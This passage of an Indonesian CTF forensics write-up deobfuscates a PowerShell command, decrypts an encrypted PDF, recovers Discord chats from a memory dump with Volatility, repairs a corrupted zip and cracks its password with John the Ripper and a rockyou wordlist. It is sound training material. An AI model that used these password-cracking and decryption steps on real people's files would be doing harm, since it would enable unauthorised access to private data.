powershell command berikut konsepnya 1. mari kita coba deobfuscated command tersebut menggunakan `echo` dan `iex`. 2. kita akan mengecho variable terpanjang namun melalui `iex` agar kita dapat melihat wujud sebenernya dari command tersebut. 3. kenapa yang terpanjang? kita berasumsi bahwa variable terpanjang akan menyimpan keseluruhan variable dan yang nantinya akan di exec ```python def fix(f): key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9') try: data = decrypt_data(f, key) data = decompress_data(data) data = b64decode(data).decode('UTF-16LE') data1 = data.split(';') data2 = '' longest = max(data1, key = len) longest_name = longest.split('=')[0] for i in data1: if 'iex' in i: continue elif longest in i: data2 += f'{longest}; echo {longest_name} | iex' break else: data2 += i + ';' cmd = b64encode(data2.encode()) command = f'echo {cmd.decode()} | base64 -d | pwsh' output = subprocess.check_output(command,shell=True, stderr=subprocess.STDOUT, universal_newlines=True) print(output.split(data2)[1].split('\n')[0]) except Exception as e: print(e) pass ``` berikut hasilnya ![image](https://hackmd.io/_uploads/SJaF2zckke.png) disini kita dapat melihat bahwa command tersebut mengecek value dari `$key` yang digunakan untuk meng-decrypt `secret.pdf.wkwk` ### mengambil tampered response ICMP langsung saja kita ambil value tampered responsenya ```python ... display_filter = 'icmp.type == 0' ... def fix(f): key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9') try: data = decrypt_data(f, key) data = decompress_data(data) if 'CLIXML' in data: print(data.split('<Objs')[0]) except Exception as e: print(e) pass ``` berikut hasilnya ![image](https://hackmd.io/_uploads/SyW5pMc1Jx.png) ### mengambil value dari $key rapihkan terlebih dahulu, lalu kita coba bandingkan dengan command powershell untuk mendapatkan key nya ```python def parsing_data(d): pattern_key = r"\((\d+)\s+-bxor\s+(\d+)\)" pattern_index = r"\[\s*(\d+)\s*\]" match_key = re.search(pattern_key, d) match_index = re.search(pattern_index, d) val = xor(int(match_key.group(1)), int(match_key.group(2))) return int(match_index.group(1)), ord(val) def parsing_key(f, f1): data = f.split('\n') data1 = f1.split('\n') key = dict() for i in range(len(data)): if data1[i] == 'True' and '-not' not in data[i]: idx, keys = parsing_data(data[i]) key[idx] = keys elif data1[i] == 'False' and '-not' in data[i]: idx, keys = parsing_data(data[i]) key[idx] = keys key = dict(sorted(key.items())) return key def get_key(): f = open('key.txt','r').read() f1 = open('truefalse.txt','r').read() key= parsing_key(f, f1) kys = '' for index, (key, value) in enumerate(key.items()): kys += chr(value) print(kys) get_key() ``` berikut hasilnya ```shell % python3 brute-aes.py ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w== ``` ### decrypt file langsung kita coba decompile file `secret.pdf.wkwk` menggunakan key yang ada ```python def decrypt(): file = open("secret.pdf.wkwk","rb").read() key = b"ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==" key = hashlib.sha256(key).digest() iv = file[0:16] data = file[16:] cipher = AES.new(key, AES.MODE_CBC, iv) dec_data = cipher.decrypt(data) res = open("res2.pdf","wb") res.write(dec_data) res.close() decrypt() ``` kitapun mendapatkan flag ![image](https://hackmd.io/_uploads/BkAC0G91yg.png) ## reference - [https://dcpp.wordpress.com/2007/10/02/nmdcs-client-client-handshake/](https://dcpp.wordpress.com/2007/10/02/nmdcs-client-client-handshake/) - [https://ratmirkarabut.com/articles/ctf-writeup-bitsctf-2017-woodstock/](https://ratmirkarabut.com/articles/ctf-writeup-bitsctf-2017-woodstock/) - [https://nmdc.sourceforge.io/NMDC.html](https://nmdc.sourceforge.io/NMDC.html) - [https://adc.dcbase.org/Protocol](https://adc.dcbase.org/Protocol) - [https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedSpecialCharOnlyCommand.ps1](https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedSpecialCharOnlyCommand.ps1) - [https://github.com/MicrosoftDocs/PowerShell-Docs/blob/main/reference/docs-conceptual/install/install-ubuntu.md](https://github.com/MicrosoftDocs/PowerShell-Docs/blob/main/reference/docs-conceptual/install/install-ubuntu.md) - [https://onlyf8.com/powershell-obfuscationEN](https://onlyf8.com/powershell-obfuscationEN) # SecreTalk ## summary > Although I managed to find out about my fiancée's missing document, I'm afraid this might be some kind of attack specifically targeting my family. So, I've been investigating several cases that more or less have indications of the same threat actor as the one who stole my fiancée's document yesterday. Using this artifact, I'm hoping to find out the conversation of one of the strong suspects who is behind all of this. Can you help me analyze some of the interesting things here? > author : c2uru > file : [file](https://drive.google.com/drive/u/3/folders/1p1HHkimi6U6gRZzQX_YxzBjMKowIMRwz) > password : TWl6dWhhcmFjaGl6dXJ1e3doeV95b3VfZGVjb2RlX3RoaXM/fQ== > > hint : "I managed to retrieve all the message history and tried to solve the problem, but I hit a dead end," I muttered, kicking the door in frustration. Chizuru walked over and hugged me from behind. "I think you're just overthinking it, sweetheart. Take a deep breath," she whispered gently. I exhaled slowly, feeling the tension ease. "You’re right… hmm, wait a minute. If this file works the way I think it does, and the file size given by the header is correct by default, why is it bigger after being compressed?" diberikan sebuah file zip yang ternyata isinya adalah memdump dengan ukuran 8GB ![image](https://hackmd.io/_uploads/Byvs-X5yJg.png) dicoba menggunakan volatility untuk mendapatkan process yang sedang berjalan ```shell % vol2 -f data --profile=Win10x64_19041 pstree > ps.txt ``` ```tex Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0xffffae0e54665080:System 4 0 107 0 2024-10-02 01:56:27 UTC+0000 . 0xffffae0e547c7040:Registry 108 4 4 0 2024-10-02 01:56:23 UTC+0000 . 0xffffae0e54a88040:smss.exe 348 4 2 0 2024-10-02 01:56:27 UTC+0000 0xffffae0e54f8e080:wininit.exe 552 440 1 0 2024-10-02 01:56:36 UTC+0000 . 0xffffae0e563b10c0:lsass.exe 692 552 9 0 2024-10-02 01:56:37 UTC+0000 . 0xffffae0e564550c0:fontdrvhost.ex 824 552 5 0 2024-10-02 01:56:39 UTC+0000 . 0xffffae0e560f7080:services.exe 672 552 5 0 2024-10-02 01:56:37 UTC+0000 .. 0xffffae0e56789080:VBoxService.ex 1544 672 11 0 2024-10-02 01:56:42 UTC+0000 .. 0xffffae0e5af5a080:svchost.exe 2064 672 2 0 2024-10-01 11:56:44 UTC+0000 .. 0xffffae0e5b1580c0:spoolsv.exe 2592 672 7 0 2024-10-01 11:56:45 UTC+0000 .. 0xffffae0e565e10c0:svchost.exe 1060 672 2 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5b192080:svchost.exe 2712 672 4 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5b727080:svchost.exe 2108 672 3 0 2024-10-01 11:57:41 UTC+0000 .. 0xffffae0e5bff1080:svchost.exe 864 672 7 0 2024-10-01 11:58:52 UTC+0000 .. 0xffffae0e5bc52080:svchost.exe 6212 672 2 0 2024-10-01 11:58:52 UTC+0000 .. 0xffffae0e5bc0d080:svchost.exe 6732 672 2 0 2024-10-01 12:06:10 UTC+0000 .. 0xffffae0e5bf020c0:SecurityHealth 5204 672 10 0 2024-10-01 11:58:04 UTC+0000 .. 0xffffae0e56631080:svchost.exe 1148 672 3 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5afef080:svchost.exe 2176 672 9 0 2024-10-01 11:56:44 UTC+0000 .. 0xffffae0e566490c0:svchost.exe 1156 672 2 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5c00b080:svchost.exe 5768 672 15 0 2024-10-01 12:06:10 UTC+0000 .. 0xffffae0e56632080:svchost.exe 1164 672 6 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5ae04300:svchost.exe 1680 672 2 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e5bfd0080:svchost.exe 6292 672 8 0 2024-10-01 11:58:51 UTC+0000 .. 0xffffae0e5b00b080:svchost.exe 2204 672 3 0 2024-10-01 11:56:44 UTC+0000 .. 0xffffae0e5b197080:svchost.exe 2720 672 4 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5b00c080:svchost.exe 2216 672 4 0 2024-10-01 11:56:44 UTC+0000 .. 0xffffae0e5c011080:svchost.exe 6840 672 7 0 2024-10-01 11:58:28 UTC+0000 .. 0xffffae0e565a8080:svchost.exe 712 672 5 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5c145080:svchost.exe 6364 672 7 0 2024-10-01 11:58:50 UTC+0000 .. 0xffffae0e5b4ec080:svchost.exe 3812 672 3 0 2024-10-01 11:57:41 UTC+0000 ... 0xffffae0e562cf2c0:ctfmon.exe 3436 3812 9 0 2024-10-01 11:57:41 UTC+0000 .. 0xffffae0e5bd15080:svchost.exe 5356 672 1 0 2024-10-01 11:58:14 UTC+0000 .. 0xffffae0e5b5f4080:svchost.exe 1264 672 6 0 2024-10-01 11:56:51 UTC+0000 .. 0xffffae0e5b560080:svchost.exe 3112 672 2 0 2024-10-01 11:57:41 UTC+0000 .. 0xffffae0e561d3080:svchost.exe 4852 672 0 ------ 2024-10-01 11:57:02 UTC+0000 .. 0xffffae0e5aef1080:svchost.exe 2004 672 1 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e5bb340c0:svchost.exe 2300 672 5 0 2024-10-01 11:57:44 UTC+0000 .. 0xffffae0e5ae72080:svchost.exe 1792 672 7 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e5c60a080:SgrmBroker.exe 6596 672 7 0 2024-10-01 11:58:50 UTC+0000 .. 0xffffae0e5b052080:svchost.exe 2316 672 3 0 2024-10-01 11:56:45 UTC+0000 .. 0xffffae0e5b075080:svchost.exe 2328 672 11 0 2024-10-01 11:56:45 UTC+0000 .. 0xffffae0e5c08e080:svchost.exe 1308 672 2 0 2024-10-01 12:06:10 UTC+0000 .. 0xffffae0e56430080:svchost.exe 800 672 12 0 2024-10-02 01:56:39 UTC+0000 ... 0xffffae0e5bb3f080:SearchApp.exe 2228 800 34 0 2024-10-01 11:57:49 UTC+0000 ... 0xffffae0e5be6e340:RuntimeBroker. 5212 800 2 0 2024-10-01 12:00:54 UTC+0000 ... 0xffffae0e5b739080:TextInputHost. 1552 800 9 0 2024-10-01 11:59:20 UTC+0000 ... 0xffffae0e5ba8a080:RuntimeBroker. 3004 800 2 0 2024-10-01 11:58:00 UTC+0000 ... 0xffffae0e5ba6a080:RuntimeBroker. 548 800 8 0 2024-10-01 11:57:50 UTC+0000 ... 0xffffae0e5bc320c0:smartscreen.ex 6916 800 1 0 2024-10-01 12:08:05 UTC+0000 ... 0xffffae0e5b7fb080:StartMenuExper 1812 800 7 0 2024-10-01 11:57:47 UTC+0000 ... 0xffffae0e5bff7080:ShellExperienc 7032 800 10 0 2024-10-01 12:00:53 UTC+0000 ... 0xffffae0e54662080:UserOOBEBroker 1940 800 1 0 2024-10-01 12:07:53 UTC+0000 ... 0xffffae0e5bb38300:RuntimeBroker. 4580 800 1 0 2024-10-01 11:57:48 UTC+0000 .. 0xffffae0e5b26a080:svchost.exe 2852 672 5 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5ae88080:svchost.exe 1832 672 3 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e5b4ef080:SearchIndexer. 3884 672 14 0 2024-10-01 11:56:50 UTC+0000 .. 0xffffae0e5af560c0:svchost.exe 1840 672 11 0 2024-10-01 11:56:44 UTC+0000 ... 0xffffae0e5b6c6080:audiodg.exe 5396 1840 5 0 2024-10-01 12:06:27 UTC+0000 .. 0xffffae0e5b26b080:svchost.exe 2868 672 9 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5669a080:svchost.exe 1340 672 2 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5aea60c0:svchost.exe 1864 672 4 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e5aeaa080:svchost.exe 1872 672 2 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e56690080:svchost.exe 1252 672 7 0 2024-10-02 01:56:41 UTC+0000 ... 0xffffae0e5b4ae080:taskhostw.exe 3012 1252 8 0 2024-10-01 11:57:41 UTC+0000 .. 0xffffae0e56699080:svchost.exe 1376 672 5 0 2024-10-02 01:56:41 UTC+0000 ... 0xffffae0e5b5a90c0:sihost.exe 5056 1376 9 0 2024-10-01 11:57:40 UTC+0000 .. 0xffffae0e5b199080:svchost.exe 2704 672 12 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5b2670c0:svchost.exe 2876 672 5 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e567c8080:svchost.exe 1596 672 5 0 2024-10-02 01:56:42 UTC+0000 .. 0xffffae0e5c00e080:svchost.exe 4240 672 0 ------ 2024-10-01 11:59:43 UTC+0000 .. 0xffffae0e5b1f5080:svchost.exe 2792 672 4 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e562d3080:svchost.exe 4752 672 5 0 2024-10-01 11:57:42 UTC+0000 .. 0xffffae0e56716080:svchost.exe 1408 672 4 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5ae3b080:svchost.exe 1688 672 6 0 2024-10-01 11:56:43 UTC+0000 .. 0xffffae0e564e0240:svchost.exe 924 672 10 0 2024-10-02 01:56:39 UTC+0000 .. 0xffffae0e5b050080:svchost.exe 2288 672 13 0 2024-10-01 11:56:45 UTC+0000 .. 0xffffae0e5637a1c0:svchost.exe 1960 672 4 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e566940c0:svchost.exe 1276 672 4 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5bdd3080:svchost.exe 6388 672 3 0 2024-10-01 12:06:10 UTC+0000 .. 0xffffae0e567240c0:svchost.exe 1468 672 6 0 2024-10-02 01:56:41 UTC+0000 .. 0xffffae0e5652f0c0:svchost.exe 972 672 5 0 2024-10-02 01:56:40 UTC+0000 .. 0xffffae0e5b28f080:svchost.exe 3032 672 3 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5c668080:svchost.exe 3920 672 5 0 2024-10-01 12:08:04 UTC+0000 .. 0xffffae0e5c595080:svchost.exe 6480 672 4 0 2024-10-01 11:58:24 UTC+0000 .. 0xffffae0e5aeae080:svchost.exe 4584 672 2 0 2024-10-01 11:57:00 UTC+0000 .. 0xffffae0e54664080:svchost.exe 3052 672 2 0 2024-10-01 11:56:46 UTC+0000 .. 0xffffae0e5b10a0c0:svchost.exe 2548 672 2 0 2024-10-01 11:56:45 UTC+0000 .. 0xffffae0e5b5f9080:svchost.exe 5116 672 9 0 2024-10-01 11:57:41 UTC+0000 0xffffae0e56ee2080:csrss.exe 456 440 12 0 2024-10-02 01:56:35 UTC+0000 0xffffae0e562a5140:csrss.exe 532 524 12 0 2024-10-02 01:56:36 UTC+0000 0xffffae0e563e2080:winlogon.exe 600 524 3 0 2024-10-02 01:56:36 UTC+0000 . 0xffffae0e5b04d0c0:userinit.exe 4780 600 0 ------ 2024-10-01 11:57:42 UTC+0000 .. 0xffffae0e5b8ad0c0:explorer.exe 4840 4780 57 0 2024-10-01 11:57:42 UTC+0000 ... 0xffffae0e5ba81080:msedge.exe 5468 4840 45 0 2024-10-01 11:58:06 UTC+0000 .... 0xffffae0e5c114340:msedge.exe 5784 5468 17 0 2024-10-01 11:58:09 UTC+0000 .... 0xffffae0e5b4e6080:msedge.exe 5572 5468 7 0 2024-10-01 11:58:09 UTC+0000 .... 0xffffae0e5bf8d080:msedge.exe 5792 5468 15 0 2024-10-01 11:58:09 UTC+0000 .... 0xffffae0e5be78080:msedge.exe 5884 5468 8 0 2024-10-01 11:58:09 UTC+0000 ... 0xffffae0e5bd74080:SecurityHealth 5176 4840 2 0 2024-10-01 11:58:04 UTC+0000 ... 0xffffae0e5bc06080:VBoxTray.exe 5336 4840 12 0 2024-10-01 11:58:05 UTC+0000 ... 0xffffae0e5648d080:FTK Imager.exe 3652 4840 18 0 2024-10-01 12:06:30 UTC+0000 ... 0xffffae0e5c115080:ZoomIt64.exe 5532 4840 2 0 2024-10-01 11:58:08 UTC+0000 . 0xffffae0e56436080:fontdrvhost.ex 832 600 5 0 2024-10-02 01:56:39 UTC+0000 . 0xffffae0e5654e080:dwm.exe 324 600 21 0 2024-10-02 01:56:40 UTC+0000 0xffffae0e5c4ad080:Discord.exe 6100 5708 48 0 2024-10-01 11:58:15 UTC+0000 . 0xffffae0e5bc28080:Discord.exe 6720 6100 40 0 2024-10-01 11:58:25 UTC+0000 . 0xffffae0e5bd17080:Discord.exe 6936 6100 7 0 2024-10-01 11:58:32 UTC+0000 . 0xffffae0e5bc2d280:Discord.exe 1744 6100 13 0 2024-10-01 11:58:20 UTC+0000 . 0xffffae0e5bfae080:Discord.exe 5012 6100 7 0 2024-10-01 11:58:19 UTC+0000 . 0xffffae0e5b4dc080:Discord.exe 5436 6100 17 0 2024-10-01 11:58:19 UTC+0000 0xffffae0e5b9ee080:MicrosoftEdgeU 1080 6356 3 0 2024-10-01 11:58:50 UTC+0000 0xffffae0e5c023080:Discord.exe 6492 6948 0 ------ 2024-10-01 11:58:31 UTC+0000 ``` disini kita dapat melihat terdapat proses discord dan karena ini sangat berkaitan dengan deskripsi maka dapat dipastikan bahwa fokus kita adalah ke discord. hal yang pertama kita akan lakukan adalah merecover history chat ## exploit ### file cache pada discord disini dicoba untuk merecover file cache pada discord untuk mendapatkan history chat nya, namun ternyata nihil karena tidak terdapat cache yang menyimpan history chat ```shell % vol2 -f data --profile=Win10x64_19041 filescan > fs.txt ``` ```tex 0x0000ae0e5c24e990 32 0 RW-r-- \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index 0x0000ae0e5c250bf0 32767 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index 0x0000ae0e5c2524f0 32764 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index 0x0000ae0e5c252cc0 27614 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0 0x0000ae0e5c253170 32714 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3 0x0000ae0e5c253300 32528 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2 0x0000ae0e5c253ad0 32755 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3 0x0000ae0e5c253df0 32761 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1 0x0000ae0e5c254d90 32078 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1 0x0000ae0e5c255a10 32761 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0 0x0000ae0e5c255ec0 32743 1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2 ``` dikarenakan cachenya tidak ada, maka kita bisa fokus pada process discord, karena pasti ada data yang nyangkut di memory ### mengambil data chat data chat pada discord disimpan dalam struct json yang unik seperti berikut ![image](https://hackmd.io/_uploads/Hk9II7qkyx.png) kita bisa saja mendump process discord namun disini penulis langsung menggunakan cara barbar dengan menggunakan key json `channel_id` ```shell % strings data | grep 'channel_id' -A30 -B30 > channel.txt ``` ```tex ... authort avatarm 3777f238143b8d9ce07f988f29825989m avatar_decoration_datad nilm cland nilm discriminatorm global_namem C2urum public_flagsa usernamem darmodarrm channel_idn componentsjm contentm hello, it's me, code name 0x69m edited_timestampd nilm embedsjm flagsa mention_everyoned falsem mention_rolesjm mentionsjm noncem 1290644578373730304m pinnedd falsem timestampm 2024-10-01T12:00:47.835000+00:00m ttsd falsem typea MESSAGE_CREATE channel_idn flagsd nilm last_viewedb message_idn versionacd MESSAGE_ACK ... ``` disini dapat kita lihat bahwa kita bisa merecovery history chatnya, hanya perlu beberapa parsing agar chatnya lebih bersih. ### parsing content chat kita akan menggunakan key `contentm` untuk mengambil value dari chatnya dan escape beberapa char (hal ini karena data yang kita dapat hasil string maka terdapat beberapa junk) ,dan mengambil key `timestampm` untuk mengambil jam chat nya yang nantinya akan diurutkan agar terstruktur. berikut python scriptnya ```python from Crypto.Util.number import bytes_to_long, long_to_bytes from base64 import b85decode as bt from datetime import datetime def parse_data(f): f = f.split('\n') message = dict() check_c = False check_t = False for x in range(len(f)): if 'contentm' in f[x]: tmp_c = f[x + 1][:-1].replace('\\','') check_c = True if '2024-10-01T12:' in f[x]: tmp_t = f[x][:-1][1:] tmp_t = datetime.fromisoformat(tmp_t).time().strftime("%H%M%S%f") check_t = True # print(tmp_t) if check_c and check_t: message[tmp_t] = tmp_c check_c = False check_t = False message = dict(sorted(message.items())) return message if __name__ == "__main__": f = open('channel.txt','r').read() m = parse_data(f) for index, (key, value) in enumerate(m.items()): print(index, key, value) ``` berikut hasilnya ![image](https://hackmd.io/_uploads/HJNdumcJ1e.png) terdapat beberapa chat dan informasi seperti 1. mereka akan berkomunikasi dengan encrypted message menggunakan **library base python** dan **bytes to long data type** 2. selanjutnya mereka akan berkomunikasi dengan encrypted message lalu kita coba decrypt encrypted message tersebut dengan informasi yang kita dapatkan ### decrypt message dari encrypted string dapat kita lihat bahwa itu merupakan base64 atau dibawahnya maka bisa dipastikan base diatasnya, maka disimpulkan itu adalah base85, langsung saja kita coba decode ```python def decode_to_bytes(encoded_long): decoded_bytes = long_to_bytes(encoded_long) decoded_string = decoded_bytes.decode('utf-8') return decoded_string if __name__ == "__main__": f = open('channel.txt','r').read() m = parse_data(f) for index, (key, value) in enumerate(m.items()): if index > 4: try: dat = bt(value) decoded = decode_to_bytes(int(dat)) print(decoded) except Exception as e: pass ``` ```shell % python3 decode.py /drive/u/3/folders/1ER4fZf7GXaku8h2bpzf3Hb3quusbfXSa Remember, I know you're good at trying to figure out how to read the files I give you. If the usual way you try doesn't work, you can analyze the file I gave you first, okay? Okay I will try to understand the content ``` dari sini dapat kita lihat terdapat sebuah file dan kita diminta untuk recover file tersebut ### recover file setelah kita download file tersebut dapat dilihat bahwa file tersebut merupakan sebuah file zip yang corrupted ![image](https://hackmd.io/_uploads/BJ9oh791ke.png) disini dapat terlihat jelas anomali pertama yaitu pada filename. kita lakukan fixing dengan mengubah sesuai dengan len filename yaitu 6 ![image](https://hackmd.io/_uploads/BkNqTmc11x.png) kita terkena error selanjutnya ![image](https://hackmd.io/_uploads/SkMp6m5kJl.png) disini dapat dilihat sepertinya ada kesalahan pada extra len sehingga local header akhirnya tidak didapatkan. dan sepertinya kita melihat bahwa extra mengambil value berlebih pada `Extra ID 3` mari kita coba sesuaikan len extra yang seharusnya sampai sebelum `AB6E` ![image](https://hackmd.io/_uploads/S13oCQ511x.png) seharusnya extra len nya adalah 0x1c ![image](https://hackmd.io/_uploads/ry--yNckyl.png) mari kita cek kembali dan ternyata masih ada error ![image](https://hackmd.io/_uploads/SkoXyEc1Jl.png) pada central header sepertinya terdapat anomali pada file len yang seharusnya 6![image](https://hackmd.io/_uploads/ry-KyNqkyl.png) kita cek kembali ternyata terdapat anomali pada extra len sehingga tidak menemukan end of central header ![image](https://hackmd.io/_uploads/B1op1V91ke.png) yang dimana len harusnya 0x18 ![image](https://hackmd.io/_uploads/Hklex4q11e.png) ![image](https://hackmd.io/_uploads/r1I-e45J1e.png) dan ternyata timestamp pada local header pun salah, dikarenakan menaruh tanggal dimasa depan, kita copy timestamp pada central agar membuatnya menjadi make sense ![image](https://hackmd.io/_uploads/r1ldeEc1kx.png) berikut detail zip yang sudah tidak reproduce error ```shell % zipdetails unknown.zip 00000 LOCAL HEADER #1 04034B50 00004 Extract Zip Spec 0A '1.0' 00005 Extract OS 00 'MS-DOS' 00006 General Purpose Flag 0000 00008 Compression Method 0000 'Stored' 0000A Last Mod Time 59417E86 'Tue Oct 1 15:52:12 2024' 0000E CRC 3C75122A 00012 Compressed Length 00084ED7 00016 Uncompressed Length 00084ECB 0001A Filename Length 0006 0001C Extra Length 001C 0001E Filename 'secret' 00024 Extra ID #0001 5455 'UT: Extended Timestamp' 00026 Length 0009 00028 Flags '03 mod access' 00029 Mod Time 66FBB83C 'Tue Oct 1 15:52:12 2024' 0002D Access Time 66FC04DC 'Tue Oct 1 21:19:08 2024' 00031 Extra ID #0002 7875 'ux: Unix Extra Type 3' 00033 Length 000B 00035 Version 01 00036 UID Size 04 00037 UID 000003E8 0003B GID Size 04 0003C GID 000003E8 00040 PAYLOAD 84F17 STREAMING DATA HEADER 08074B50 84F1B CRC 3C75122A 84F1F Compressed Length 00084ED7 84F23 Uncompressed Length 00084ECB 84F27 CENTRAL HEADER #1 02014B50 84F2B Created Zip Spec 1E '3.0' 84F2C Created OS 03 'Unix' 84F2D Extract Zip Spec 0A '1.0' 84F2E Extract OS 00 'MS-DOS' 84F2F General Purpose Flag 0000 84F31 Compression Method 0000 'Stored' 84F33 Last Mod Time 59417E86 'Tue Oct 1 15:52:12 2024' 84F37 CRC 3C75122A 84F3B Compressed Length 00084ED7 84F3F Uncompressed Length 00084ECB 84F43 Filename Length 0006 84F45 Extra Length 0018 84F47 Comment Length 0000 84F49 Disk Start 0000 84F4B Int File Attributes 0000 [Bit 0] 0 'Binary Data' 84F4D Ext File Attributes 81FF0000 84F51 Local Header Offset 00000000 84F55 Filename 'secret' 84F5B Extra ID #0001 5455 'UT: Extended Timestamp' 84F5D Length 0005 84F5F Flags '03 mod access' 84F60 Mod Time 66FBB83C 'Tue Oct 1 15:52:12 2024' 84F64 Extra ID #0002 7875 'ux: Unix Extra Type 3' 84F66 Length 000B 84F68 Version 01 84F69 UID Size 04 84F6A UID 000003E8 84F6E GID Size 04 84F6F GID 000003E8 ADD 0 544471 CENTRAL HEADER ref Local #1: secret 84F73 END CENTRAL HEADER 06054B50 84F77 Number of this disk 0000 84F79 Central Dir Disk no 0000 84F7B Entries in this disk 0001 84F7D Total Entries 0001 84F7F Size of Central Dir 0000004C 84F83 Offset to Central Dir 00084F27 84F87 Comment Length 0000 Done ``` namun sayangnya kita tidak bisa unzip archive filenya ```shell % unzip unknown.zip Archive: unknown.zip secret: ucsize 544459 <> csize 544471 for STORED entry continuing with "compressed" size value extracting: secret bad CRC f64e932b (should be 3c75122a) ``` ### compressed size > uncompressed size untuk bruteforce crc sepertinya akan cukup sulit dan tidak manusiawi dalam hal file dalam archive. mari kita fokus kepada hint yang diberikan yaitu mengapa size compressed lebih besar dari uncompressed. mungkin bisa kita analisa terlebih dahulu melalui method zip yang ada dan sering digunakan - 00 : compress file secara as-is yaitu menaruh file tanpa ada kompresi apapun dan tidak dienkripsi - 08 : file akan dicompress namun tidak dienkripsi - 09 : file akan dicompress dan terenkripsi lalu dengan informasi yang ada yaitu size compressed yang lebih besar besar dari uncomprorssed maka dipastikan method yang digunakan sudah pasti 00 dan sudah benar yang ada didalam archive, namun kita pun dapat lihat di binarynya bahwa file tidak as-is berarti ada enkripsi yang diterapkan. namun apakah hal tersebut possible? hal tersebut bisa dikonfirmasi pada informasi berikut ![image](https://hackmd.io/_uploads/B1_3SVc1ke.png) bahwa kita bisa melakukan enkripsi pada file lalu secara uncompressed dalam archive. mari kita coba-coba terlebih dahulu, disini saya mencoba membuat file dummy dengan ukuran yang hampir mirip dengan file zip ```shell= % python3 -c "print('A'*1024*500)" > try % file try try: ASCII text, with very long lines (65536), with no line terminators % ls -la try -rw-rw-r-- 1 bleco bleco 512001 Okt 14 13:11 try ``` dengan command zip yang terdapat beberapa command berikut ![image](https://hackmd.io/_uploads/S1xwC451yg.png) disini kita menggunakan parameter `-0` untuk melakukan zip tanpa compress, dan kita passing param `-P` untuk define passwordnya ```shell % zip -0 -P "coba" try.zip try adding: try (stored 0%) ``` disini penulis menemukan hal yang menarik ![image](https://hackmd.io/_uploads/Sy0bkS9kkx.png) yaitu tentang flag general purpose dan berikut beberapa penjelasannya ![image](https://hackmd.io/_uploads/B1iRyB51yx.png) untuk general purpose ini dia menggunakan bit pada value flagnya seperti 0x9 maka 1001 yang membuat bit 3 dan bit 0 true. yang berarti file tersebut terkena encrypt dan terdapat `data descriptor` yang bisa kita pastikan pun ada di `unknown.zip` ![image](https://hackmd.io/_uploads/By9fzr5kyl.png) langsung saja kita ubah value general purpose ke 0x9 ![image](https://hackmd.io/_uploads/BJ8iZH9yke.png) ![image](https://hackmd.io/_uploads/HkoXfScykl.png) dan sekarang kita sudah bisa unzip dan dimintai password ![image](https://hackmd.io/_uploads/BJQ8GScyyx.png) ### crack password langsung saja kita gunakan john ```shell % john-the-ripper.zip2john unknown.zip > unk ver 1.0 efh 5455 efh 7875 unknown.zip/secret PKZIP Encr: 2b chk, TS_chk, cmplen=544471, decmplen=544459, crc=3C75122A ts=7E86 cs=7e86 type=0 % ~/tools/JohnTheRipper/run/john --wordlist=/home/bleco/tools/rockyou.txt unk Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) No password hashes left to crack (see FAQ) % ~/tools/JohnTheRipper/run/john unk --show unknown.zip/secret:generasi bangkit:secret:unknown.zip::unknown.zip 1 password hash cracked, 0 left ``` passwordnya adalah `generasi bangkit` langsung kita unzip ```shell= % unzip unknown.zip Archive: unknown.zip [unknown.zip] secret password: replace secret? [y]es, [n]o, [A]ll, [N]one, [r]ename: y extracting: secret % file secret secret: Microsoft Word 2007+ % unzip secret Archive: secret inflating: word/numbering.xml inflating: word/settings.xml inflating: word/fontTable.xml inflating: word/styles.xml inflating: word/document.xml inflating: word/_rels/document.xml.rels inflating: _rels/.rels inflating: word/theme/theme1.xml inflating: word/media/image1.png inflating: 